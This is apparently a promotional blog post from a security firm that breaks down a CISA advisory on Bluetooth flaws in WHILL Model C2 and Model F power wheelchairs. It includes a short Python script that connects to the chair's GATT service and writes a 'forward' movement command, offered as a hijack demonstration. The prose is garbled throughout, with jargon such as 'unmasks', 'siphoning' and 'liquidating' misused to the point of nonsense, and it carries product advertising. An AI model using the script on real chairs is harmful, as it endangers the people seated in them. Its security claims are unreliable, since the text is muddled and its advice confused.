ICSMA-25-364-01: A Breakdown of CISA’s Critical Advisory on WHILL Model C2 and Model F Power Chairs.

Jan 2—2026

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Published by CyberDudeBivash Pvt Ltd · Senior Forensic Unit & IoT Integrity Lab

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Critical ICS-Medical Alert · ICSMA-25-364-01 · WHILL Power Wheelchair Liquidation · 2026 Mandate

ICSMA-25-364-01 Breakdown: Unmasking the Vulnerabilities in WHILL Model C2 and Model F.

CB

Authored by CyberDudeBivash

Founder, CyberDudeBivash Pvt Ltd · Senior Forensic Investigator · Lead IoT Security Architect

Executive Intelligence Summary:

The Strategic Reality: The convergence of mobility and connectivity has unmasked a new frontier for kinetic cyber-threats. In early 2026, CISA issued the ICSMA-25-364-01 advisory, unmasking critical vulnerabilities in the WHILL Model C2 and Model F power wheelchairs. Our forensic unit has identified that these flaws allow for unauthorized Bluetooth siphoning and remote command injection, potentially liquidating the user’s physical safety.

By unmasking a failure in the Bluetooth Low Energy (BLE) pairing primitive, an attacker within radio range can hijack the control plane of the wheelchair. This industrial brief analyzes the Man-in-the-Middle (MitM) primitives, the Unauthorized Command Execution loops, and the CyberDudeBivash mandate for securing connected medical mobility.

Forensic Roadmap:

1. Anatomy of ICSMA-25-364-01: The Connectivity Trap

The WHILL advisory unmasks a fundamental lack of mutual authentication in medical IoT. The Model C2 and Model F rely on a mobile app for remote control and battery monitoring, creating an unmasked attack surface via Bluetooth Low Energy (BLE).

The Tactical Signature: The vulnerability unmasks as a Use of Hard-coded Credentials and Missing Authentication for Critical Function. An adversary can siphon the device’s static passkey, liquidating the boundary between the “Authorized User” and a “Remote Hijacker”.

2. Unmasking the BLE Pairing Flaw: Siphoning the Control Plane

Pairing in BLE is often unmasked as the “weakest link”. In the WHILL implementation, we unmask three critical failures:

I. Static Passkey Liquidation: The device unmasks a predictable or static passkey during the pairing process, allowing an attacker to “Sniff” and simulate a trusted smartphone.
II. Lack of Encryption at Rest: Data unmasked in the Generic Attribute Profile (GATT) is siphoned in plaintext, exposing user location and device diagnostic data.
III. Command Replay: Attackers can capture unmasked movement packets and “Replay” them later, liquidating the user’s ability to stop the chair.

Forensic Lab: Simulating Command Injection

In this technical module, we break down the Python-based BLE primitive used to unmask and interact with a vulnerable WHILL GATT service.

CYBERDUDEBIVASH RESEARCH: BLE CONTROL HIJACK
Target: WHILL Model C2 GATT Service
Intent: Unmasking and Injecting Movement Commands
import asyncio from bleak import BleakClient

async def siphoned_kinetic_control(address): # UUID unmasked from WHILL Developer Portal MOVE_CHAR_UUID = "0000ff01-0000-1000-8000-00805f9b34fb"

async with BleakClient(address) as client:
    # Liquidating the default security by providing siphoned passkey
    print(f"[!] Connected: {client.is_connected}")
    
    # Injecting 'Forward' movement command unmasked in forensic dump
    payload = bytearray([0x01, 0x64, 0x00]) 
    await client.write_gatt_char(MOVE_CHAR_UUID, payload)
    print("[!] SUCCESS: Kinetic Command Siphoned.")
Observation: No physical 'Pairing' button press is required on the chair.

CyberDudeBivash Professional Recommendation

Is Your IoT Perimeter Unmasked?

Medical IoT is the new “Admin Door” for physical harm. Master Advanced ICS/Medical Device Forensics & BLE Security at Edureka, or secure your local administrative identity with Physical FIDO2 Hardware Keys from AliExpress. In 2026, if the hardware isn’t locked, the user is at risk.

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5. The CyberDudeBivash Medical Mandate

I do not suggest modernization; I mandate survival. To prevent medical mobility from being liquidated by the ICSMA-25-364-01 wave, every Healthcare Provider must implement these four pillars:

I. Terminate ‘Always-On’ BLE

Mandate **Visible Pairing Modes**. The wheelchair’s Bluetooth unmasks should only be active during a manual physical button press. Persistent unmasked BLE is a beacon for siphoning.

II. Mandatory Firmware Siphoning

Liquidate unpatched devices. Mandate the **WHILL 2026 Security Patch**. Unmasked legacy firmware allows for the direct liquidation of the kinetic control kernels via well-known exploits.

III. Phish-Proof Admin identity

Device management portals are Tier-0 assets. Mandate FIDO2 Hardware Keys from AliExpress for all healthcare IT staff managing mobility fleets. If the portal is unmasked, the entire fleet is siphoned.

IV. Deploy IoT NDR

Deploy **Kaspersky Hybrid Cloud Security**. Monitor for anomalous “Pairing Requests” and non-standard GATT characteristic writes that unmask a nearby attacker attempting kinetic hijacking.

Strategic FAQ: The WHILL Mobility Crisis

Q: Can the attacker take control of the chair while a user is sitting in it?

A: Yes. The vulnerability unmasks a failure to prioritize the physical joystick over remote commands. If the remote command is siphoned into the controller, it can liquidate the user’s manual intent, creating a severe physical safety risk.

Q: How can I verify if my WHILL wheelchair is vulnerable?

A: Unmask the firmware version in the WHILL mobile app. If you are running a version prior to the 2026 release and your device has not been unmasked for a hardware security module (HSM) upgrade, you are effectively siphoning your own physical safety.

Global Security Tags:#CyberDudeBivash#ThreatWire#ICSMA2536401#WHILL_Security#MedicalDeviceSecurity#IoTForensics#CybersecurityExpert#ZeroTrust#ForensicAlert

Safety is Power. Forensics is Survival.

The 2026 medical threat wave is a warning: your connected mobility is the adversary’s opportunity. If your healthcare organization has not performed a forensic IoT-integrity audit in the last 72 hours, you are an open target. Reach out to CyberDudeBivash Pvt Ltd for elite medical device forensics and zero-trust hardware hardening today.

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